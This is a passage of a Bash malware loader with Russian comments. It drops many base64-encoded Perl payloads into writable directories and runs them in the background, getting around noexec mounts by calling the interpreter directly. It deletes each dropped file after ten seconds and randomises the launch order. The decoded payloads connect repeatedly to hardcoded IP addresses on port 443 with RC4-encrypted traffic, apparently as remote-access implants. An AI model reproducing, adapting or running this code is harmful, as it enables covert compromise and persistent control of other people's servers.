            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_5b3ed501() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwoKCSBteSAkZ3MgPSAwOwoKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9yIDAuLjI1NTsKCgkgZG8gewoKCQkgdmVjKCQkYnVmZjAsICR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kJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_97891b31() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF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PT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_1fe3fd46() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR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sIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_c690dcd1() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteS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готовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_fecf01b2() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOy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VjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_0a647fb8() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir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KCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_47d9b757() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIH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WyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_c1da059a() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsK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WZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

component_names=(f_4316c037 f_4485feeb f_a45a8064 f_70aa2bd1 f_85b45d08 f_17412d49 f_e1c5184c f_7b810715 f_81ced56c f_253b2eeb f_101f2449 f_2d39b717 f_76cec7c3 f_a49f1391 f_073842ee f_c43a6313 f_8eecfa67 f_e21fc450 f_93663bdd f_d196353e f_b563487d f_6bf204ee f_6a7957c6 f_0583f1f1 f_e32f1deb f_c2911bc5 f_c4ade93a f_a9e161bd f_cf1ccd4a f_3dcc6403 f_ba41b4eb f_83cdd0ee f_f92a81c2 f_9520054d f_321132b4 f_3de5c942 f_5a995533 f_c40d488a f_5be7439f f_e66227d3 f_5ca10014 f_39aecc05 f_cc81e8b5 f_a39f3484 f_2a229a08 f_2c7df58f f_3bf4790b f_42a117e1 f_b490c084 f_0e37384d f_8d527fc2 f_914c6520 f_d3915d07 f_be9e0c33 f_ff4b4a29 f_bba51bf5 f_5b3ed501 f_97891b31 f_1fe3fd46 f_c690dcd1 f_fecf01b2 f_0a647fb8 f_47d9b757 f_c1da059a)


# 1. Инициализация
PERL_BIN=$(get_perl_path)
if [ -z "$PERL_BIN" ]; then exit 1; fi

# 2. Сканирование окружения
scan_dirs

# 3. Выбор стратегии
use_gold=false
dir_count=0

if [ ${#gold_dirs[@]} -gt 0 ]; then
    # Приоритет 1: Есть папки с разрешенным запуском
    use_gold=true
    dir_count=${#gold_dirs[@]}
elif [ ${#silver_dirs[@]} -gt 0 ]; then
    # Приоритет 2: Есть папки только для записи (noexec)
    use_gold=false
    dir_count=${#silver_dirs[@]}
else
    # Резервный вариант: пробуем /tmp на удачу
    valid_dirs=("/tmp" "/var/tmp")
    silver_dirs=("/tmp" "/var/tmp")
    dir_count=2
    use_gold=false
fi

# 4. Перемешивание задач
SHUFFLE_CMD="shuf"
if ! command -v shuf &>/dev/null; then SHUFFLE_CMD="sort -R"; fi

components_to_run=(${component_names[*]})
# Создаем случайный порядок запуска
mapfile -t shuffled_components < <(printf "%s\n" "${components_to_run[@]}" | $SHUFFLE_CMD)

dir_index=0

# 5. Цикл запуска
for func_name in "${shuffled_components[@]}"; do
    # Проверка на пустую строку (защита от ошибок)
    if [ -n "$func_name" ] && declare -f "$func_name" > /dev/null; then
        # Запускаем распаковщик
        "$func_name" "$use_gold" "$dir_index" "$PERL_BIN"

        # Крутим папки по кругу
        dir_index=$(((dir_index + 1) % dir_count))

        # Пауза
        sleep $PAUSE_SEC
    fi
done

# Удаляем сам лоадер
exit 0
